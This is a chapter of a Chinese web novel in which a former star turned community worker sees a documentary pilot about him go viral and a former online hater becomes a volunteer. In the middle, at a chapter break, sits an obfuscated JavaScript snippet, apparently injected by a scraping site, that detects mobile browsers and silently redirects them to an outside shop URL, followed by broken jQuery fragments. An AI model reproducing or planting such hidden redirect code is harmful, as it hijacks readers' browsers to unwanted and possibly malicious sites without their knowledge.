《城市有你》第一集先导片，周四晚上八点，准时上线。
节目组原本准备的，是另一套版本。
六分钟。
舒缓钢琴。
温暖旁白。
结尾再接一段介绍临江街道历史的小短片。
最后打上一行漂亮的金色字幕——
《城市有你》，首期，敬请期待。
可秦制片最后交上去的版本，和所有人预想的都不一样。
没有配乐。
没有旁白。
没有金色字幕。
甚至连节目组 logo，都缩在角落里，小小一方。
整条片子只有四分二十秒。
从头到尾，一镜到底。
没有一句台词是节目组事先安排的。
开头就是节目组的车停错位置。
谢临舟站在门口，语气平平：
“这里是消防通道。”
然后画面切过去——
是他蹲下来给大爷调前置摄像头。
是他伸手，帮推婴儿车的年轻妈妈把那摞表格压稳。
是他追出街道办门口，扶住差点被门槛绊到的老人。
是他对着镜头说：
“以前有人围着我，是为了拍我。”
“现在有人围着我，是因为不会扫码。”
再然后，是梁曼站在活动室门口。
是他那句：
“你挡着居民填表了。”
最后一刀，落在陈默身上。
镜头里，谢临舟把矿泉水塞进他手里，语气平静：
“你上周骂的那几条——都骂得对。”
整整四分二十秒。
没有煽情。
没有解说。
没有节目组替他说一句话。
最后一帧，是谢临舟站在街道办门口。
伸手，把那块被风吹歪的“文明养犬从我做起”牌子扶正。
镜头里只剩风声。
梧桐叶被吹得轻轻一响。
远处有人喊了一声：
“小谢——”
片尾字幕也只有一行：
《城市有你》第一季·临江
基层工作人员·谢临舟
同期拍摄｜无剧本｜不摆拍
完。
上线不过几分钟，话题就开始往上蹿。
先是那句“以前拍我，现在扫码”被截出来疯传。
然后是“谢临舟先导片”冲上热搜。
再往后，热搜第一变成了四个字：
基层人员谢临舟
不是“前顶流”。
不是“退圈男星”。
也不是“艺人谢临舟”。
是“基层人员”。
凌晨一点，话题阅读量破十亿。
评论区最高赞，是一条很长的留言：
【我妈刚才看完，问我明天能不能陪她去社区把医保电子凭证弄了。】
【我爸说他们小区也有个小谢，不过姓刘。】
【以前总觉得“基层工作人员”这几个字离我很远。今天忽然觉得，不远。】
【可能就是那个给我妈调健康码、给我爸讲反诈的人。】
【只是以前我没看见。】
底下跟了一串回复。
有人说看完之后想起了自己在街道上班的父亲。
有人说想起了社区里那个总帮忙填表的阿姨。
还有人说，自己以前总觉得这些人“什么都管”，现在才发现——他们是真什么都得管。
八点整。
谢临舟正在厨房热剩饭。
手机在桌上震了一下。
是秦制片发来的链接，一句话都没写。
只附了两个字：
“上了。”
他把微波炉按停，擦了擦手，点开那条链接。
四分二十秒。
他只看了一遍。
看完之后没动，也没说话。
等面前那盘饭凉了，他才起身去重新热。
微波炉转起来的时候，他随手把手机扣在桌上，屏幕朝下。
陈默把这条先导片反复看了九遍。
第一遍，他是哭着看完的。
第二遍，他看着看着，笑了一声。
第三遍，他盯着屏幕，半天没动。
最后只骂了一句：
“……操。”
第四遍到第九遍，他一句话都没说。
看完第九遍，他关了播放器。
屏幕黑了一下，又亮起来。
他打开那个新号。
——以前专门剪谢临舟切片的那个号。
发了一条新动态。
只有一句话：
【我今天正式退役。】
【——退“柴犬头像”这个号。】
底下他又给自己置顶了一条：
【原因：我已经找到正经工作了。】
【临江街道办门口，发反诈手册。】
【第一天。】
这条发出去没多久，评论和转发一路往上冲。
而那边，那个 ID 叫“谢临舟什么时候滚出基层”的老号，粉丝数还在疯涨。
从三万七，一路跳到六十八万。
陈默盯着那个数字，足足愣了五分钟。
他翻回到自己发过的最早那条动态。
底下第一条骂得最凶的回复，点赞八千多。
头像是他自己换的那只柴犬，咧着嘴，很欢。
最后，他做了一件连自己都没想到的事。
——把那个号注销了。
后台弹出提示：
您确定注销此账号？所有数据将在七日后永久删除。
陈默手指停在屏幕上，很久没动。
最后，他还是按了确认。
然后用新号，发了关于“柴犬头像”的最后一条公告：
【原号“谢临舟什么时候滚出基层”已注销。】
【不是公关处理，是我主动。】
【我很感谢那三万七千个曾经关注过我、看我骂过谢临舟的人。】
【我不配当你们的嘴替。】
【以后不骂他了。】
【——该骂的骂，不该骂的闭嘴。】
【这是他对我说的。】
发完，他关了手机，扔到床头。
可这一整晚，他都没怎么睡着。
第二天早上，八点五十分。
王主任一进办公室，就看见谢临舟已经坐在工位上了。
桌上那几摞表格已经全部打印好，分门别类，齐齐整整。
她端着保温杯走过去。
“你几点来的？”
“七点半。”
王主任看着他，忍不住问：
“昨天的先导片……看了？”
“看了。”
“感觉怎么样？”
谢临舟低头盖章。
“秦制片会剪。”
“就这？”
“嗯。”
王主任：“……”
她原本想问一堆：
看评论区了吗？
看热搜了吗？
看网上怎么夸你了吗？
可话到嘴边，又都咽了回去。
她看着谢临舟低头盖章，忽然觉得那些话没必要问了。
她只好换一种方式：
“小谢。”
“嗯。”
“你知不知道，你这次是真的火了。”
“嗯。”
“比以前还火。”
“嗯。”
王主任看着他那张波澜不惊的脸，最后叹了口气。
“行。你忙。”
谢临舟没抬头，只低低“嗯”了一声。
印章落下去，“咔哒”一声。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509964|202955||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
和平时一样平稳。
八点五十五分，街道办门口。
陈默戴着昨天那只红袖章，准时到岗。
昨晚没睡，眼下一圈青，脸色明显不太好。
他刚把那摞反诈手册摆到桌上，就看见昨天那位大爷又来了。
“哟，小陈。”
陈默一下站直。
“诶！”
“您……您还记得我名字？”
“我记得你这张脸。”大爷笑眯眯的，“我今早还跟我老伴儿说，昨天那个长得有点凶、但挺有礼貌的小伙子。”
陈默：“……长得凶？”
“凶不是坏。”大爷摆摆手，“就那种——有点像我家二儿子。”
陈默：“……”
大爷说着，又从兜里摸出两颗水果糖。
那两颗水果糖，包装已经有点旧了，糖纸边角微微泛黄，像是从家里用了十几年的铁饼干盒里抓出来的。
“给你。”
陈默愣了：“……啊？”
“昨儿我老伴儿听我说了你这儿的事。”大爷慢悠悠的，“让我今早给你带两颗糖。”
陈默愣愣接过来。
大爷走的时候还回头朝他挥了挥手。
陈默站在原地，低头看着那两颗糖。
包装有点旧，糖纸边角微微泛黄。
他想起之前马奶奶塞给谢临舟的，也是这种糖。
他仰起头，看了一会儿天。
然后很小心地，把糖放进了左胸兜里。
九点整，直播准时开播。
镜头一开，就先照到陈默一张熬夜熬得有点发青的脸，以及他左胸兜那块明显鼓起来的地方。
弹幕一下炸开。
【陈默左胸兜里是什么！】
【糖！！绝对是糖！！】
【别藏了我们都看见了】
【柴犬老师今日新称号：糖老师】
【黑粉→志愿者→胸口带糖，这是什么临江福报扩散术】
陈默：“……”
他只好装作没看见，蹲下来整理袖章。
服务窗口后头，谢临舟抬眼扫了一下监控屏幕。
正好看见陈默蹲下来、认真把那只红袖章抚平的动作。
他极轻、极短地，勾了一下嘴角。
旁边小林余光扫到，眼睛一下亮了。
没敢喊，也没敢凑过镜头。
只在心里默默给今天的谢老师情绪值记上一个：
+1
上午十点半，街道办电话响了。
王主任过去接。
“喂？临江街道办。”
电话那头安静了一秒。
然后，一个温和的男声开口：
“您好，我找谢临舟。”
王主任手指顿了一下。
她在街道办干了二十年，接过无数电话。
投诉邻居狗叫的。
问低保手续的。
物业和居民隔着电话互相甩锅的。
甚至还有自称要捐“社区正能量奖章”的骗子。
可这个声音，一听就不一样。
不是因为多好听。
而是因为，像是完全不需要向别人解释自己是谁。
王主任捏着听筒，稳住声线。
“您是——”
对面笑了一下。
“闻叙。”
王主任握电话的手微微一紧。
办公室里原本的键盘声、翻纸声，好像忽然都远了一层。
二十年基层经验在这一刻同时提醒她：
不能慌。
这电话，绝对不是普通电话。
她捏稳了听筒。
“闻——叙？”
“不是您想的那个。”电话那头的人温声道，“我不是来邀约的。”
他顿了顿，笑了一下。
“我是来找他的。”